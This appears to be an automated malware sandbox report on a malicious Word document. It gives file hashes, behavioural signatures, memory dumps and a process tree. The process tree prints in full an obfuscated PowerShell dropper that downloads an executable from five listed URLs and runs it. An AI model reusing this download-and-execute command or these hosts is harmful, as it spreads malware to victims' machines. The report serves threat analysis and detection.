Analysis

  • max time kernel
    101s
  • max time network
    125s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240426-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
  • submitted
    28-05-2024 18:53

General

  • Target

    7e048c48cf5c2879dc2a0a33101048a2_JaffaCakes118.doc

  • Size

    76KB

  • MD5

    7e048c48cf5c2879dc2a0a33101048a2

  • SHA1

    911f72f15361efb7c01fcde615c61c80656f0bdc

  • SHA256

    c63b801b73ffc4397fcd7f78b2c3658ef29751e6dc84ff1468dc9068cf237a42

  • SHA512

    44172ab2e73781abd5547059eb9463c21dbaf6d7813651c5463926cb1dd8be29f749028db57fba4cc2bb83fde5b99ccc82c08bc31299ef0b861667a80b94a22c

  • SSDEEP

    768:FtVucRFoqkp59YBvLdTv9ReVi4eFov5UHRFBd8LTTnLlCiJRz9wORjKkh58/460B:Ftocn1kp59gxBK85fBCLTbJCNw6Z+a96

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://samix-num.com/BcFUhvDr

exe.dropper

http://economiadigital.biz/NKq5eOZ

exe.dropper

http://ftp.dailyignite.club/YNB95t2

exe.dropper

http://migoshen.org/FNE1TVJjI

exe.dropper

http://vanoostrom.org/w8yXb69h5

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 7 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\7e048c48cf5c2879dc2a0a33101048a2_JaffaCakes118.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:208
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:3976
      • C:\Windows\system32\cmd.exe
        "C:\Windows\system32\cmd.exe" /c pow%PUBLIC:~5,1%r%SESSIONNAME:~-4,1%h%TEMP:~-3,1%ll $Prairie80='Internal14';$Massachusetts17=new-object Net.WebClient;$Somalia94='http://samix-num.com/BcFUhvDr@http://economiadigital.biz/NKq5eOZ@http://ftp.dailyignite.club/YNB95t2@http://migoshen.org/FNE1TVJjI@http://vanoostrom.org/w8yXb69h5'.Split('@');$solutions78='extend49';$eenable81 = '53';$NorthCarolina56='Lake74';$Rubber84=$env:public+'\'+$eenable81+'.exe';foreach($UgandaShilling85 in $Somalia94){try{$Massachusetts17.DownloadFile($UgandaShilling85, $Rubber84);$Concrete67='endtoend42';If ((Get-Item $Rubber84).length -ge 80000) {Invoke-Item $Rubber84;$Sleek97='ClothingGarden23';break;}}catch{}}$Wooden49='Greens14';
        2⤵
        • Process spawned unexpected child process
        • Suspicious use of WriteProcessMemory
        PID:2084
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell $Prairie80='Internal14';$Massachusetts17=new-object Net.WebClient;$Somalia94='http://samix-num.com/BcFUhvDr@http://economiadigital.biz/NKq5eOZ@http://ftp.dailyignite.club/YNB95t2@http://migoshen.org/FNE1TVJjI@http://vanoostrom.org/w8yXb69h5'.Split('@');$solutions78='extend49';$eenable81 = '53';$NorthCarolina56='Lake74';$Rubber84=$env:public+'\'+$eenable81+'.exe';foreach($UgandaShilling85 in $Somalia94){try{$Massachusetts17.DownloadFile($UgandaShilling85, $Rubber84);$Concrete67='endtoend42';If ((Get-Item $Rubber84).length -ge 80000) {Invoke-Item $Rubber84;$Sleek97='ClothingGarden23';break;}}catch{}}$Wooden49='Greens14';
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3724

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\93A89662.wmf

      Filesize

      494B

      MD5

      1507e745dfcb593d85ee10e65f223872

      SHA1

      6caa3f7b75e9d1430ae53fcf7042adf2d0bfe4d6

      SHA256

      a3a4144d0f0057665407727e360cfc350439eeebec951bbc3b484f2d3cdadd9b

      SHA512

      8d9f9af84e962129874c72771464d1936e343a1a841555a04fab2a1201d54bbf2267d2addb30507409a68bd4624a987633fc49e1673fcfcebe3543391d17ad5a

    • C:\Users\Admin\AppData\Local\Temp\TCDA703.tmp\gb.xsl

      Filesize

      262KB

      MD5

      51d32ee5bc7ab811041f799652d26e04

      SHA1

      412193006aa3ef19e0a57e16acf86b830993024a

      SHA256

      6230814bf5b2d554397580613e20681752240ab87fd354ececf188c1eabe0e97

      SHA512

      5fc5d889b0c8e5ef464b76f0c4c9e61bda59b2d1205ac9417cc74d6e9f989fb73d78b4eb3044a1a1e1f2c00ce1ca1bd6d4d07eeadc4108c7b124867711c31810

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_a0tevmto.ltp.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • memory/208-14-0x00007FFC459D0000-0x00007FFC45BC5000-memory.dmp

      Filesize

      2.0MB

    • memory/208-577-0x00007FFC05A50000-0x00007FFC05A60000-memory.dmp

      Filesize

      64KB

    • memory/208-6-0x00007FFC459D0000-0x00007FFC45BC5000-memory.dmp

      Filesize

      2.0MB

    • memory/208-5-0x00007FFC45A6D000-0x00007FFC45A6E000-memory.dmp

      Filesize

      4KB

    • memory/208-7-0x00007FFC459D0000-0x00007FFC45BC5000-memory.dmp

      Filesize

      2.0MB

    • memory/208-8-0x00007FFC459D0000-0x00007FFC45BC5000-memory.dmp

      Filesize

      2.0MB

    • memory/208-0-0x00007FFC05A50000-0x00007FFC05A60000-memory.dmp

      Filesize

      64KB

    • memory/208-10-0x00007FFC459D0000-0x00007FFC45BC5000-memory.dmp

      Filesize

      2.0MB

    • memory/208-11-0x00007FFC459D0000-0x00007FFC45BC5000-memory.dmp

      Filesize

      2.0MB

    • memory/208-13-0x00007FFC459D0000-0x00007FFC45BC5000-memory.dmp

      Filesize

      2.0MB

    • memory/208-16-0x00007FFC459D0000-0x00007FFC45BC5000-memory.dmp

      Filesize

      2.0MB

    • memory/208-15-0x00007FFC459D0000-0x00007FFC45BC5000-memory.dmp

      Filesize

      2.0MB

    • memory/208-17-0x00007FFC039A0000-0x00007FFC039B0000-memory.dmp

      Filesize

      64KB

    • memory/208-3-0x00007FFC05A50000-0x00007FFC05A60000-memory.dmp

      Filesize

      64KB

    • memory/208-581-0x00007FFC459D0000-0x00007FFC45BC5000-memory.dmp

      Filesize

      2.0MB

    • memory/208-4-0x00007FFC05A50000-0x00007FFC05A60000-memory.dmp

      Filesize

      64KB

    • memory/208-9-0x00007FFC459D0000-0x00007FFC45BC5000-memory.dmp

      Filesize

      2.0MB

    • memory/208-12-0x00007FFC459D0000-0x00007FFC45BC5000-memory.dmp

      Filesize

      2.0MB

    • memory/208-2-0x00007FFC05A50000-0x00007FFC05A60000-memory.dmp

      Filesize

      64KB

    • memory/208-1-0x00007FFC05A50000-0x00007FFC05A60000-memory.dmp

      Filesize

      64KB

    • memory/208-530-0x00007FFC459D0000-0x00007FFC45BC5000-memory.dmp

      Filesize

      2.0MB

    • memory/208-533-0x00007FFC459D0000-0x00007FFC45BC5000-memory.dmp

      Filesize

      2.0MB

    • memory/208-534-0x00007FFC459D0000-0x00007FFC45BC5000-memory.dmp

      Filesize

      2.0MB

    • memory/208-536-0x00007FFC459D0000-0x00007FFC45BC5000-memory.dmp

      Filesize

      2.0MB

    • memory/208-535-0x00007FFC459D0000-0x00007FFC45BC5000-memory.dmp

      Filesize

      2.0MB

    • memory/208-532-0x00007FFC459D0000-0x00007FFC45BC5000-memory.dmp

      Filesize

      2.0MB

    • memory/208-531-0x00007FFC459D0000-0x00007FFC45BC5000-memory.dmp

      Filesize

      2.0MB

    • memory/208-578-0x00007FFC05A50000-0x00007FFC05A60000-memory.dmp

      Filesize

      64KB

    • memory/208-580-0x00007FFC05A50000-0x00007FFC05A60000-memory.dmp

      Filesize

      64KB

    • memory/208-18-0x00007FFC039A0000-0x00007FFC039B0000-memory.dmp

      Filesize

      64KB

    • memory/208-579-0x00007FFC05A50000-0x00007FFC05A60000-memory.dmp

      Filesize

      64KB

    • memory/3724-57-0x0000029E7F500000-0x0000029E7F522000-memory.dmp

      Filesize

      136KB